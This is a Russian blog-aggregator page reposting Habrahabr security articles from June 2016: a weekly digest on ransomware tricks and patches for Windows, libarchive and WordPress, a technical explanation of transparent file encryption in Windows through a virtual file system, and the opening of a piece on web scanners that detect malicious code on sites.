Случайны выбор дневника Раскрыть/свернуть полный список возможностей


Найдено 9413 сообщений
Cообщения с меткой

информационная безопасность - Самое интересное в блогах

Следующие 30  »
rss_rss_hh_new

Security Week 25: уязвимости в Windows, libarchive и Wordpress, новые старые трюки криптолокеров

Пятница, 24 Июня 2016 г. 16:01 (ссылка)

Поговорим о тренировке. Вместе с криптолокерами в наш уютный ландшафт угроз пришли казалось бы давно забытые трюки: от «албанского вируса» (набор для самостоятельной зашифровки данных) до макросов в офисных документах. По меркам тех угроз, про которые действительно интересно читать, это прошлый век и детский сад, но вот проблема — работают ведь. В случае макросов от пользователей требуется сделать пару лишних кликов, в процессе выводятся предупреждения (опасно!), но нет, все кликается, загружается и приводит к реальным убыткам и потере данных, хорошо если только на одном компьютере. По нашим данным, число криптоатак на пользователей за последние два года выросло в пять раз — и этот тот случай, когда количество рано или поздно переходит в качество.



Подавляющее большинство криптолокеров, а особенно такие трояны начального уровня, по-прежнему без проблем блокируются стандартным защитным софтом. Увы, это не исключает заражение полностью — и дело не в том, что стопроцентной защиты не бывает. Недавно я ссылался на пример, когда к неплохо защищенной инфраструктуре подключается внешний фрилансер с ноутбуком без антивируса и устраивает локальный армагеддон.



Недавно к арсеналу древних трюков добавился еще один. Вместо макросов в офисные документы внедряют ссылки на внешние объекты с помощью технологии OLE (новость, исследование Microsoft). В документе этот хитрый маневр выглядит примерно как на картинке. В одном из случаев использовалась довольно топорная социнженерия: «Нажмите, чтобы разблокировать этот контент и доказать, что вы не робот». В Ворде такая конструкция выглядит чрезвычайно подозрительно, но ведь работает. И что с этим делать?



Все выпуски дайджеста доступны по тегу.









В случае с обычными пользователями понятно что делать — антивирус надо ставить. В случае компаний все сложнее, выше я уже привел пример, почему не всегда получается заблокировать все и везде. Сотрудников надо обучать. Желательно, чтобы тренинги по тому, что мы называем security awareness, отличались от росписи в журнале за инструктаж на случай пожара. Обучение должно быть регулярным, цели его должны быть понятны всем — именно поэтому мои коллеги, отвечающие за тренинги, говорят, что надо обязательно включать в программу не только обычных сотрудников, но и начальство, вплоть до топ-менеджеров. С точки зрения технаря это решение возможно выглядит немного странным, ну а куда деваться? Одним из качественных изменений в индустрии ИБ является именно расширение понятия безопасности за пределы борьбы хорошего кода с плохим. Безопасность — это люди, их запрограммировать не получится, и гневным циркуляром проблему не решить. Но пробовать надо: не будучи алгоритмизируемым решением, тренинги дают вполне измеряемую эффективность.



Неделя патчей: Windows, Wordpress, libarchive



Обнаружение уязвимостей в софте и выпуск патчей — это такой регулярный элемент новостного фона по теме безопасности. Настолько привычный, что в список самых посещаемых такие новости выбиваются нечасто: в моем еженедельном сериале это происходит примерно раз в квартал. Вот и настал такой момент: на повестке дня сразу три важных патча.







В Microsoft залатали уязвимость в протоколе Web Proxy Auto Discovery (новость, бюллетень MS). И Microsoft, и первооткрыватель, исследователь из китайской компании Tencent, много деталей не раскрывают. В схеме работы протокола обнаружили возможность отката к уязвимому «процессу обнаружения прокси-сервера», конкретно эксплуатируется «предсказуемость идентификаторов транзакций при работе с Netbios». В списке подверженных — все версии Windows, начиная с 7, но по факту дыра присутствует даже в Windows 95, и, естественно, в неподдерживаемой более XP.



Возможно причиной малого количества деталей является универсальность атаки. По словам исследователя, эксплойт может прилететь и в виде URL в браузере, и в виде вредоносного офисного документа, и даже на флешке (например с помощью вредоносного шортката). Дальнейшее развитие атаки нельзя назвать простым делом, но в итоге появляется возможность перехвата трафика или подмены доверенных сетевых устройств.



Исследователи из Cisco нашли три уязвимости в опенсорсной библиотеке libarchive (новость, исследование). В случае с открытым софтом важнее даже не характер уязвимости, а понимание — кто подвержен. В этом может помочь список зависимого софта на сайте библиотеки. Все три уязвимости могут эксплуатироваться с помощью подготовленного архива определенного формата, конкретно подвержены 7-Zip и RAR. Кроме того, теоретически можно эксплуатировать уязвимость, когда библиотека работает с данными mtree, штатной утилиты в FreeBSD. Все три уязвимости позволяют выполнять произвольный код.



Наконец, очередной апдейт Wordpress до версии 4.5.3 закрывает 24 уязвимости (новость, анонс Wordpress). Большая часть уязвимостей позволяет получить контроль над веб-сайтом. Дополнительно были исправлены 17 багов — причем все относительно свежие, они были «добавлены» в последних трех релизах открытой CMS.



Что еще произошло:

Проект Let's Encrypt сообщает о выпуске пятимиллионного бесплатного сертификата HTTPS. Одновременно с этим выяснилось, что компания Comodo, продающая SSL за деньги, зачем-то пытается зарегистрировать на себя торговую марку Let's Encrypt в США. Фу таким быть.



Индийскую рекламную фирму inMobi, зарабатывающую в том числе на баннерах в мобильных приложениях, оштрафовали в США на почти миллион долларов за отслеживание пользователей без их ведома. Рекламная сеть этой компании предположительно «накрывает» больше миллиарда устройств.



Древности:

«Tired-1740»



Резидентный опасный вирус, стандартно записывается в COM-, EXE- и OVL-файлы при их загрузке в память для выполнения. Периодически расшифровывает и выводит на экран фразу: «I think you're too tired to the bone. You'd better go home», а затем перезагружает компьютер. Перехватывает int 21h.



Цитата по книге «Компьютерные вирусы в MS-DOS» Евгения Касперского. 1992 год. Страницa 85.



Disclaimer: Данная колонка отражает лишь частное мнение ее автора. Оно может совпадать с позицией компании «Лаборатория Касперского», а может и не совпадать. Тут уж как повезет.
Original source: habrahabr.ru.

https://habrahabr.ru/post/304050/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

Security Week 25: уязвимости в Windows, libarchive и Wordpress, новые старые трюки криптолокеров

Пятница, 24 Июня 2016 г. 16:01 (ссылка)

Поговорим о тренировке. Вместе с криптолокерами в наш уютный ландшафт угроз пришли казалось бы давно забытые трюки: от «албанского вируса» (набор для самостоятельной зашифровки данных) до макросов в офисных документах. По меркам тех угроз, про которые действительно интересно читать, это прошлый век и детский сад, но вот проблема — работают ведь. В случае макросов от пользователей требуется сделать пару лишних кликов, в процессе выводятся предупреждения (опасно!), но нет, все кликается, загружается и приводит к реальным убыткам и потере данных, хорошо если только на одном компьютере. По нашим данным, число криптоатак на пользователей за последние два года выросло в пять раз — и этот тот случай, когда количество рано или поздно переходит в качество.



Подавляющее большинство криптолокеров, а особенно такие трояны начального уровня, по-прежнему без проблем блокируются стандартным защитным софтом. Увы, это не исключает заражение полностью — и дело не в том, что стопроцентной защиты не бывает. Недавно я ссылался на пример, когда к неплохо защищенной инфраструктуре подключается внешний фрилансер с ноутбуком без антивируса и устраивает локальный армагеддон.



Недавно к арсеналу древних трюков добавился еще один. Вместо макросов в офисные документы внедряют ссылки на внешние объекты с помощью технологии OLE (новость, исследование Microsoft). В документе этот хитрый маневр выглядит примерно как на картинке. В одном из случаев использовалась довольно топорная социнженерия: «Нажмите, чтобы разблокировать этот контент и доказать, что вы не робот». В Ворде такая конструкция выглядит чрезвычайно подозрительно, но ведь работает. И что с этим делать?



Все выпуски дайджеста доступны по тегу.









В случае с обычными пользователями понятно что делать — антивирус надо ставить. В случае компаний все сложнее, выше я уже привел пример, почему не всегда получается заблокировать все и везде. Сотрудников надо обучать. Желательно, чтобы тренинги по тому, что мы называем security awareness, отличались от росписи в журнале за инструктаж на случай пожара. Обучение должно быть регулярным, цели его должны быть понятны всем — именно поэтому мои коллеги, отвечающие за тренинги, говорят, что надо обязательно включать в программу не только обычных сотрудников, но и начальство, вплоть до топ-менеджеров. С точки зрения технаря это решение возможно выглядит немного странным, ну а куда деваться? Одним из качественных изменений в индустрии ИБ является именно расширение понятия безопасности за пределы борьбы хорошего кода с плохим. Безопасность — это люди, их запрограммировать не получится, и гневным циркуляром проблему не решить. Но пробовать надо: не будучи алгоритмизируемым решением, тренинги дают вполне измеряемую эффективность.



Неделя патчей: Windows, Wordpress, libarchive



Обнаружение уязвимостей в софте и выпуск патчей — это такой регулярный элемент новостного фона по теме безопасности. Настолько привычный, что в список самых посещаемых такие новости выбиваются нечасто: в моем еженедельном сериале это происходит примерно раз в квартал. Вот и настал такой момент: на повестке дня сразу три важных патча.







В Microsoft залатали уязвимость в протоколе Web Proxy Auto Discovery (новость, бюллетень MS). И Microsoft, и первооткрыватель, исследователь из китайской компании Tencent, много деталей не раскрывают. В схеме работы протокола обнаружили возможность отката к уязвимому «процессу обнаружения прокси-сервера», конкретно эксплуатируется «предсказуемость идентификаторов транзакций при работе с Netbios». В списке подверженных — все версии Windows, начиная с 7, но по факту дыра присутствует даже в Windows 95, и, естественно, в неподдерживаемой более XP.



Возможно причиной малого количества деталей является универсальность атаки. По словам исследователя, эксплойт может прилететь и в виде URL в браузере, и в виде вредоносного офисного документа, и даже на флешке (например с помощью вредоносного шортката). Дальнейшее развитие атаки нельзя назвать простым делом, но в итоге появляется возможность перехвата трафика или подмены доверенных сетевых устройств.



Исследователи из Cisco нашли три уязвимости в опенсорсной библиотеке libarchive (новость, исследование). В случае с открытым софтом важнее даже не характер уязвимости, а понимание — кто подвержен. В этом может помочь список зависимого софта на сайте библиотеки. Все три уязвимости могут эксплуатироваться с помощью подготовленного архива определенного формата, конкретно подвержены 7-Zip и RAR. Кроме того, теоретически можно эксплуатировать уязвимость, когда библиотека работает с данными mtree, штатной утилиты в FreeBSD. Все три уязвимости позволяют выполнять произвольный код.



Наконец, очередной апдейт Wordpress до версии 4.5.3 закрывает 24 уязвимости (новость, анонс Wordpress). Большая часть уязвимостей позволяет получить контроль над веб-сайтом. Дополнительно были исправлены 17 багов — причем все относительно свежие, они были «добавлены» в последних трех релизах открытой CMS.



Что еще произошло:

Проект Let's Encrypt сообщает о выпуске пятимиллионного бесплатного сертификата HTTPS. Одновременно с этим выяснилось, что компания Comodo, продающая SSL за деньги, зачем-то пытается зарегистрировать на себя торговую марку Let's Encrypt в США. Фу таким быть.



Индийскую рекламную фирму inMobi, зарабатывающую в том числе на баннерах в мобильных приложениях, оштрафовали в США на почти миллион долларов за отслеживание пользователей без их ведома. Рекламная сеть этой компании предположительно «накрывает» больше миллиарда устройств.



Древности:

«Tired-1740»



Резидентный опасный вирус, стандартно записывается в COM-, EXE- и OVL-файлы при их загрузке в память для выполнения. Периодически расшифровывает и выводит на экран фразу: «I think you're too tired to the bone. You'd better go home», а затем перезагружает компьютер. Перехватывает int 21h.



Цитата по книге «Компьютерные вирусы в MS-DOS» Евгения Касперского. 1992 год. Страницa 85.



Disclaimer: Данная колонка отражает лишь частное мнение ее автора. Оно может совпадать с позицией компании «Лаборатория Касперского», а может и не совпадать. Тут уж как повезет.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/304050/

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

«Разрубить Гордиев узел» или преодоление проблем шифрования информации в ОС Windows

Пятница, 24 Июня 2016 г. 13:02 (ссылка)

Современная операционная система это сложный иерархичный процесс обработки и управления информацией. Актуальные версии ОС Windows в этом вопросе не являются исключением. Для того, чтобы интегрировать средство защиты в среду ОС Windows, зачастую хватает встраивания на прикладном уровне. Однако, если речь заходит о шифровании информации в среде ОС Windows, все становится намного сложнее.



Основной «головной болью» разработчика средств шифрования в этом процессе является обеспечение «прозрачности шифрования», т.е. необходимо гармонично встроиться в структуру процессов операционной системы и при этом обеспечить невовлечение пользователей в процесс шифрования и уж тем более его обслуживание. Требования к современным средствам защиты все больше и больше исключают пользователя из процесса защиты информации. Таким образом, для этого самого пользователя создаются комфортные условия, не требующие принятия «непонятных» решений по защите информации.

В данной статье будут раскрыты идеи эффективной интеграции средства шифрования информации на диске с процессами файловой системы ОС Windows.

Перед разработчиками ставилась цель создать механизм шифрования информации на диске, отвечающий требованиям максимальной прозрачности для пользователей. Требования должны будут выполняться за счет эффективного взаимодействия этого механизма шифрования с процессами операционной системы Windows, которые отвечают за управление файловой системой. Эффективность механизма шифрования должна также подтверждаться высокой производительностью процессов шифрования и рациональным использованием ресурсов операционной системы.

Изначально была поставлена задача предоставлять одновременный доступ к зашифрованному и расшифрованному содержимому, а также шифровать имена файлов. Это и порождает основные сложности, т.к. такое требование идет в разрез со сложившейся архитектурой Windows. Чтобы понять суть проблемы, для начала нам следует разобрать некоторые основные моменты данной операционной системы.

В Windows все файловые системы полагаются на такие подсистемы, как менеджер памяти и кэш менеджер, а менеджер памяти, в свою очередь, полагается на файловые системы. Казалось бы, замкнутый круг, но все станет ясно дальше. Ниже, на рисунке 1, изображены перечисленные компоненты, а также менеджер ввода/вывода, который принимает запросы от подсистем (например Win32) и от других драйверов системы. Также на рисунке используются термины «фильтр» и «стек файловой системы», о чем подробнее будет рассказано ниже.



Рисунок 1





Разберем такой механизм, как отображение файла на память. Суть его заключается в том, что при доступе к виртуальной памяти в реальности читается часть файла. Реализуется это при помощи аппаратных механизмов процессоров и непосредственно самого менеджера памяти. Любые диапазоны виртуальной памяти процесса описываются дескрипторами. Если для какого-то диапазона нет дескриптора, значит, на этом участке виртуальной памяти ничего нет, и доступ к такому диапазону неизбежно ведет к краху процесса. В случае, если для какого-либо диапазона закреплена физическая память, доступ к этим виртуальным адресам ведет к обычному доступу к физической памяти, такую память еще называют анонимной. В случае, если файл отображен на виртуальную память, то при доступе по этим адресам считывается часть файла с диска в физическую память, после чего доступ к ней будет выполняться обычным образом. Т.е. эти два случая очень похожи, разница лишь в том, что для последнего в соответствующую физическую память предварительно будет считана часть файла. Обо всех таких типах доступов дескриптор и содержит информацию. Эти дескрипторы являются структурами менеджера памяти, которыми он управляет для того, чтобы выполнять требуемые задачи. Как не трудно догадаться, для того, чтобы считать часть файла в страницу физической памяти, менеджер памяти должен послать запрос файловой системе. На рисунке 2 изображен пример виртуальной памяти процесса с двумя диапазонами, А и В, доступ к которым еще ни разу не выполнялся.



Рисунок 2





На диапазон А отображен исполняемый файл самого процесса, а на диапазон В отображена физическая память. Теперь, когда процесс выполнит первый доступ к диапазону А, управление получит менеджер памяти и первое, что он сделает — оценит тип диапазона. Поскольку на диапазон А отображен файл, менеджер памяти сначала считает из файла соответствующую его часть в физическую память, после чего отобразит ее на диапазон А процесса, таким образом дальнейший доступ к считанному содержимому будет выполняться уже без менеджера памяти. Для диапазона В менеджер памяти выполнит такую же последовательность, единственная разница в том, что вместо считываний данных из файла он просто отобразит свободные физические страницы памяти на диапазон В, после чего доступ к этому диапазону будет выполняться уже без участия менеджера памяти. На рисунке 3 изображен пример виртуальной памяти процесса после первого доступа к диапазонам А и В.



Рисунок 3





Как видно из рисунка, при доступе к обоим диапазонам доступ к физической памяти выполняется без участия менеджера памяти, т.к. ранее при первом доступе он отобразил на диапазоны А и В физическую память, а в физическую память диапазона А предварительно считал часть соответствующего файла.

Кэш менеджер является центральным механизмом для всех открытых файлов в системе на всех дисках. Использование этого механизма позволяет не только ускорять доступ к файлам, но и экономить физическую память. Кэш менеджер не работает сам по себе, в отличие от менеджера памяти. Он полностью управляется файловыми системами, и вся необходимая информация о файлах (например, размер) предоставляется ими. Всякий раз, когда к файловой системе приходит запрос на чтение/запись, файловая система не читает файл с диска, вместо этого она вызывает сервисы кэш менеджера. Кэш менеджер, в свою очередь, пользуясь сервисами менеджера памяти, отображает файл на виртуальную память и копирует его из памяти в буфер запросчика. Соответственно, при доступе к этой памяти менеджер памяти пошлет запрос файловой системе. И это будет особый запрос, который будет говорить, что файл надо считать непосредственно с диска. Если выполняется доступ к файлу, который ранее уже был отображен кэш менеджером, то повторно отображен на виртуальную память он не будет. Вместо этого кэш менеджер будет использовать виртуальную память, куда файл был отображен ранее. Отображение файла отслеживается посредством структур, которые файловые системы передают кэш менеджеру при вызове его сервисов. Об этих структурах немного подробнее будет рассказано ниже. На рисунке 4 приведен пример чтения файла процессом.



Рисунок 4





Как показано на рисунке выше, процесс выполняет чтение файла в буфер В. Чтобы выполнить чтение, процесс обращается к менеджеру ввода/вывода, который формирует и посылает запрос файловой системе. Файловая система, получив запрос, не считывает файл с диска, а вызывает кэш менеджер. Далее кэш менеджер оценивает, отображен ли файл на его виртуальную память, и если нет, то он вызывает менеджер памяти для того чтобы отобразить файл/часть файла. В данном примере файл уже отображен, а доступ к нему ни разу не выполнялся. Далее кэш менеджер копирует в буфер В процесса файл, отображенный на диапазон виртуальной памяти А. Поскольку доступ к диапазону А выполняется первый раз, управление получит менеджер памяти, затем он оценит диапазон, и, поскольку это отображенный на память файл, считает его часть в физическую память, после чего отобразит ее на диапазон виртуальной памяти А. После этого, как уже было описано ранее, доступ к диапазону А будет выполняться, минуя менеджер памяти.

Ничто не мешает одновременно кэшировать файл и отображать его на память сколько угодно раз. Даже если файл будет закэширован и отображен на память десятков процессов, физическая память, которая используется для этого файла, будет одна и та же. В этом и заключается суть экономии физической памяти. На рисунке 5 приведен пример, где один процесс читает файл обычным образом, а другой процесс отображает этот же файл на свою виртуальную память.



Рисунок 5





Как видно из рисунка выше, физическая память отображается на виртуальную память процесса В и виртуальную память кэш менеджера. Когда процесс А будет выполнять чтение файла в буфер D, он обратится к менеджеру ввода/вывода, который сформирует и пошлет запрос файловой системе. Файловая система, в свою очередь, обратится к кэш менеджеру, который просто скопирует файл, отображенный на диапазон виртуальной памяти С кэш менеджера, в буфер D процесса А. Поскольку в момент обращения к кэш менеджеру файл уже был не только отображен, но и ранее выполнялся доступ к диапазону С, на которую отображен файл, то операция будет выполнена без участия менеджера памяти. Процесс В при чтении/записи диапазона Е по сути получит доступ к тем же самым физическим страницам памяти, к котором при копировании файла получал доступ кэш менеджер.

Файловые системы принимают запросы от пользовательского ПО или других драйверов. Перед доступом файл должен быть открыт. В случае успешного выполнения запросов открытия/создания файлов файловая система сформирует структуры памяти, которые используются кэш менеджером и менеджером памяти. Также следует отметить, что эти структуры уникальны для файла. Т.е. если конкретный файл диска был открыт на тот момент, когда пришел такой же запрос на этот же файл, файловая система будет использовать ранее сформированные структуры памяти. По сути, они являются программным представлением файла диска в памяти. На рисунке 6 приведен пример соответствия открытых экземпляров файлов и их структур.



Рисунок 6





На рисунке процесс А открыл файл С и файл D, а процесс B открыл файл С два раза. Таким образом, имеется три открытых экземпляра файла С, когда структура, сформированная файловой системой, всего одна. Файл D был открыт один раз, следовательно, имеется один открытый экземпляр, которому соответствует структура, сформированная файловой системой.

Любые запросы, направленные к файловой системе, не сразу обрабатываются ею. Запросы сначала проходят по цепочке драйверов, которые желают отслеживать такие запросы. Такие драйвера называют фильтрами. Они имеют возможность просматривать запросы до того, как они достигнут файловой системы, а также после того, как файловая система обработает их. Например, фильтр шифрования файлов может отслеживать запросы чтения/записи для того, чтобы расшифровать/зашифровать данные. Таким образом, не дорабатывая сами файловые системы, мы можем зашифровать данные файла. Фильтры могут привязывать свои уникальные данные к структурам файлов, которые формирует файловая система. Вместе драйвера фильтров и драйвер файловой системы формируют стек файловой системы. Количество фильтров может быть разным, также могут быть разными и сами фильтры. Теоретически их может и не быть совсем, но практически так не бывает. На рисунке 7 изображен стек файловой системы, в состав которого входят три фильтра.



Рисунок 7





До того, как запрос достигнет файловой системы, он проходит последовательно через фильтры 1, 2 и 3. Когда запрос будет обработан файловой системой, то фильтрами он виден в обратном порядке, т.е. запрос проходит последовательно через фильтры 3, 2 и 1. Также, на примере выше фильтр 1 и фильтр 3 привязали свои структуры к структуре файла, которую сформировала файловая система после выполнения запроса открывания/создания файла.

Подавляющее большинство задач решается посредством фильтрации, но наш случай уникален. Как было ранее отмечено, уникален он тем, что нужно предоставлять одновременный доступ к зашифрованному и расшифрованному содержимому, а также шифровать имена файлов. Тем не менее, мы попытаемся разработать фильтр, который позволит решить такую задачу.

На рисунке 8 изображена ситуация, когда файл ранее был открыт расшифрованным.



Рисунок 8





Это значит, что фильтры видели расшифрованное имя, и они, как это изображено на рисунке, могут привязать это имя к структуре, которую сформирует файловая система (как было ранее сказано, эта структура уникальна для конкретного файла диска) для дальнейших манипуляций с файлом. И в этот момент файл открывается зашифрованным, что означает, что фильтры видели зашифрованное имя. Как они поведут себя в такой ситуации, когда к структуре файла уже привязано расшифрованное имя? Очевидно, что поведение не предсказуемо, хотя и не обязательно, что последствия будут фатальными.

В продолжение описанного выше можно добавить, что при доступе к содержимому файла также возникают проблемы, и гораздо более серьезные. Вернемся к ситуации, когда файл был открыт одновременно расшифрованным и зашифрованным. Эта ситуация изображена на рисунке 9, чтение/запись файла еще ни разу не выполнялись.



Рисунок 9





Теперь представим себе, что пришел запрос на чтение расшифрованного содержимого. Файловая система воспользуется услугами кэш менеджера и передаст ему структуру файла, к которой и кэш менеджер, и менеджер памяти привяжут свои уникальные данные для дальнейшего управления отображением и кэшированием файла. Эта ситуация изображена на рисунке 10.



Рисунок 10





Далее приходит запрос на чтение зашифрованного содержимого, и файловая система снова передает структуру файла кэш менеджеру, а поскольку кэш менеджер и менеджер памяти ранее к этой структуре привязали уникальные данные для этого файла, они просто воспользуются ими для выполнения запроса. Т.е. теперь в этих структурах будет указано, куда был отображен файл, и кэш менеджер просто скопирует данные файла из виртуальной памяти в буфер запросчика. Мы помним, что файл при первом доступе к нему был закэширован расшифрованным, таким образом при зашифрованном доступе в буфере запросчика окажутся расшифрованные данные.

Мы только что разобрали две фундаментальные проблемы. На практике их было больше. Например, в рамках поставленной задачи к каждому зашифрованному файлу необходимо добавлять заголовочную информацию, что тоже не решается посредством фильтрации. Чтобы обойти все эти проблемы разом, было найдено решение — виртуальная файловая система.

Виртуальная файловая система, по своей сути, мало чем отличается от обычной. Радикальное отличие состоит в том, что обычная файловая система работает с диском, а виртуальная работает с файлами других файловых систем, т.е. является обычным потребителем сервисов файловых систем. На рисунке 11 изображена концепция виртуальной файловой системы.



Рисунок 11





В отличие от обычных файловых систем, виртуальная файловая система не регистрирует себя в системе (об этом не было сказано выше, но для того чтобы операционная система могла пользоваться сервисами конкретной файловой системы, она должна зарегистрироваться), а раз так, то запросы к ней направляться не будут. Чтобы решить эту проблему, мы используем фильтр для обычной файловой системы, но на этот раз его функции будут очень простыми и ограниченными, одна из них (и главная) — это отслеживание доступа к зашифрованным файлам. Как только фильтр увидит такой запрос, он просто перенаправит его к виртуальной файловой системе. Если же будет выполняться доступ к обычному файлу, запрос будет передан оригинальной файловой системе.

Теперь давайте еще раз разберем расшифрованный и зашифрованный доступы, но уже в контексте виртуальной файловой системы. На рисунке 12 приведен пример, когда выполнялся доступ к расшифрованному и зашифрованному содержимому конкретного файла.



Рисунок 12





Еще раз представим ситуацию, когда файл был открыт расшифрованным. Это значит, что в процессе выполнения запроса открывания файла, наш фильтр увидел его и перенаправил на виртуальную файловую систему. Виртуальная файловая система, получив запрос, оценивает тип доступа (расшифрованный или зашифрованный), и поскольку выполняется расшифрованный доступ, виртуальная файловая система сначала преобразует расшифрованное имя в зашифрованное, а после попытается открыть файл через родную файловую систему по этому имени (т.е. имя файла на родной файловой системе будет зашифрованным). В случае успеха виртуальная файловая система сформирует структуры памяти, которые позже будут использовать кэш менеджер и менеджер памяти. Теперь представим себе, что файл открывается зашифрованным, фильтр снова перенаправляет запрос виртуальной файловой системе, не делая никаких оценок. Виртуальная файловая система оценивает тип доступа, а поскольку доступ зашифрованный, она просто попытается открыть файл через родную файловую систему по этому имени. И опять, в случае успеха, виртуальная файловая система сформирует структуры памяти для кэш менеджера и менеджера памяти. Но в отличие от расшифрованного доступа, это будут уже другие структуры. Теперь, если файл снова будет открыт расшифрованным, виртуальная файловая система использует те же структуры, которые сформировала при первом расшифрованном доступе. В случае если файл снова будет открываться зашифрованным, файловая система использует структуры, которые сформировала при первом зашифрованном доступе. Таким образом, мы разделили доступ к расшифрованному и зашифрованному содержимому.

На рисунке 13 изображена ситуация, когда доступ на чтение/запись к расшифрованному и зашифрованному содержимому файла ни разу не выполнялся.



Рисунок 13





Теперь если будет выполняться расшифрованное чтение, виртуальная файловая система, пользуясь сервисами кэш менеджера, как показано на рисунке 14, передаст ему структуры памяти, которые она вернула при открывании файла расшифрованным.



Рисунок 14





Кэш менеджер отобразит файл на виртуальную память и скопирует данные в буфер запросчика. Соответственно, в процессе копирования менеджер памяти пошлет запрос на чтение виртуальной файловой системе, которая в свою очередь пошлет запрос на чтение родной файловой системе, а поскольку кэш менеджеру были переданы структуры памяти для расшифрованного файла, виртуальная файловая система расшифрует данные и сообщит о завершении менеджеру памяти, так закэшируется расшифрованное содержимое. В случае если будет выполняться зашифрованное чтение, виртуальная файловая система передаст, как изображено на рисунке 15, кэш менеджеру структуры памяти, которые она сформировала при открывании файла зашифрованным.



Рисунок 15





Кэш менеджер снова отобразит файл на виртуальную память (поскольку в этих структурах файл еще не отображался) и скопирует данные в буфер запросчика. И опять в процессе копирования менеджер памяти пошлет запрос на чтение виртуальной файловой системе, которая снова пошлет запрос на чтение родной файловой системе, а поскольку кэш менеджеру были переданы структуры памяти для зашифрованного файла, то, не расшифровывая данных, виртуальная файловая система сообщит менеджеру памяти о завершении. Так файл закэшируется зашифрованным.

Как мы видим, виртуальная файловая система решает фундаментальные проблемы, не позволяющие иметь одновременный доступ к расшифрованному и зашифрованному содержимому файла, из-за чего приходится отказываться от классических механизмов операционной системы. В процессе фильтрации мы можем только добавлять данные к структурам памяти файлов, которые возвращает файловая система, и, поскольку мы не формируем эти структуры, мы не можем вмешиваться в них и управлять ими. А посредством виртуальной файловой системы мы их полностью формируем, и, следовательно, имеем полный контроль над ними, что необходимо в рамках решения данной задачи. Например, нам нужно обеспечивать согласованность расшифрованного и зашифрованного содержимых файлов. Представьте себе ситуацию, когда были записаны данные в расшифрованный файл и данные находятся еще в кэше, а не на диске. И в этот момент приходит запрос на чтение зашифрованного содержимого файла. В ответ на это виртуальная файловая система выгрузит расшифрованное содержимое на диск и сбросит зашифрованный кэш, что заставит кэш менеджер заново послать запрос на чтение виртуальной файловой системе для зашифрованного чтения. В рамках фильтрации подобная задача не решается в принципе.

При разработке виртуальной файловой системы приходилось сталкиваться с необычными проблемами. Отчасти это вызвано тем, что мы работаем с файлами файловых систем, когда обычные файловые системы работают с диском. Так, например, была найдена ошибка в файловой системе NTFS. Проявлялась она в том, что доступ к файлу X:\$mft\<любое имя> приводил к повисанию всего доступа к диску X. В результате исследования было установлено, что NTFS не освобождала механизмы синхронизации для файла $mft, который является перечислителем всех файлов диска. И соответственно, чтобы найти какой-либо файл на диске, сначала нужно прочитать $mft файл, доступ к которому повис. Другой пример, который нельзя назвать необычным, это найденная ошибка в ядре Windows 8, в результате которой менеджер памяти полагает, что структуры памяти файла всегда последней версии. Из-за этого он пытается использовать некоторые части этой структуры, которых в действительности может не быть. И это приводило к BSOD.

Реализация виртуальной файловой системы значительно сложнее реализации фильтра, но наличие такого механизма дает большую гибкость при манипуляциях с файлами. В том числе такую, о которой мы только что говорили. Хотя, на первый взгляд, может показаться, что задача тривиальна.

В результате применения данного подхода к шифрованию были успешно реализованы функции предоставления одновременного доступа программных процессов к зашифрованному и расшифрованному содержимому, а также реализовано шифрование имен файлов, что позволяет обеспечить высокую степень прозрачности при реализации криптографической защиты информации.

Надо отметить, что данный подход по обеспечению «прозрачности» шифрования файлов в ОС Windows успешно реализован в корпоративном продукте Secret Disk Enterprise («Аладдин Р.Д.»), который применяется многими организациями в России. Это в свою очередь доказывает жизнеспособность и перспективность применения данной идеи в процессе создания программ шифрования файлов на диске.

В качестве заключения стоит отметить, что технологическая сложность файловой системы ОС Windows и отсутствие стандартных механизмов решения задач, подобных описываемой в данной статье, будут всегда являться препятствием создания удобных и простых программ, обеспечивающих защиту информации. В таком случае единственным верным решением является самостоятельная реализация оригинального механизма, позволяющего обойти данные ограничения без потери функциональности ПО.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/304024/

Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

«Разрубить Гордиев узел» или преодоление проблем шифрования информации в ОС Windows

Пятница, 24 Июня 2016 г. 12:54 (ссылка)

Современная операционная система это сложный иерархичный процесс обработки и управления информацией. Актуальные версии ОС Windows в этом вопросе не являются исключением. Для того, чтобы интегрировать средство защиты в среду ОС Windows, зачастую хватает встраивания на прикладном уровне. Однако, если речь заходит о шифровании информации в среде ОС Windows, все становится намного сложнее.

Читать дальше →

https://habrahabr.ru/post/304018/

Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

Веб-сервисы для проверки сайтов на вирусы

Пятница, 24 Июня 2016 г. 12:25 (ссылка)

Рано или поздно веб-разработчик, веб-мастер или любой другой специалист, обслуживающий сайт, может столкнуться с проблемами безопасности: ресурс попадает под санкции поисковой системы или начинает блокироваться антивирусом, с хостинга могут прислать уведомление об обнаружении вредоносного кода, а посетители начинают жаловаться на всплывающую рекламу или редиректы на “левые” сайты.







В этот момент возникает задача поиска источника проблемы, то есть диагностики сайта на проблемы безопасности. При грамотном подходе диагностика состоит из двух этапов:


  1. проверки файлов и базы данных на хостинге на наличие серверных вредоносных скриптов и инжектов,

  2. проверки страниц сайта на вирусный код, скрытые редиректы и другие проблемы, которые, порой, невозможно выявить статическим сканером файлов.



Предположим, вы уже проверили файлы на хостинге специализированными сканерами и почистили аккаунт хостинга от «вредоносов» (или ничего подозрительного на нем не нашлось), но поисковик все равно ругается на вирусный код или на сайте по-прежнему активен мобильный редирект. Что делать в этом случае? На помощь приходят веб-сканеры, которые выполняют динамический и статический анализ страниц сайта на вредоносный код.



Немного теории



Статический анализ страниц – это поиск вредоносных вставок (преимущественно javascript), спам-ссылок и спам-контента, фишинговых страниц и других статических элементов на проверяемой странице и в подключаемых файлах. Обнаружение подобных фрагментов выполняется на основе базы сигнатур или некоторого набора регулярных выражений. Если вредоносный код постоянно присутствует на странице или в загружаемых файлах, а также известен веб-сканеру (то есть он добавлен в базу сигнатур), то веб-сканер его обнаружит. Но так бывает не всегда. Например, вредоносный код может загружаться с другого ресурса или выполнять какие-то несанкционированные действия при определенных условиях:


  • по завершении загрузки страницы в нее добавляется javascript, который выполняет drive-by download атаку

  • пользователь уходит со страницы, в этот момент подгружается код и открывает popunder с контентом “для взрослых”

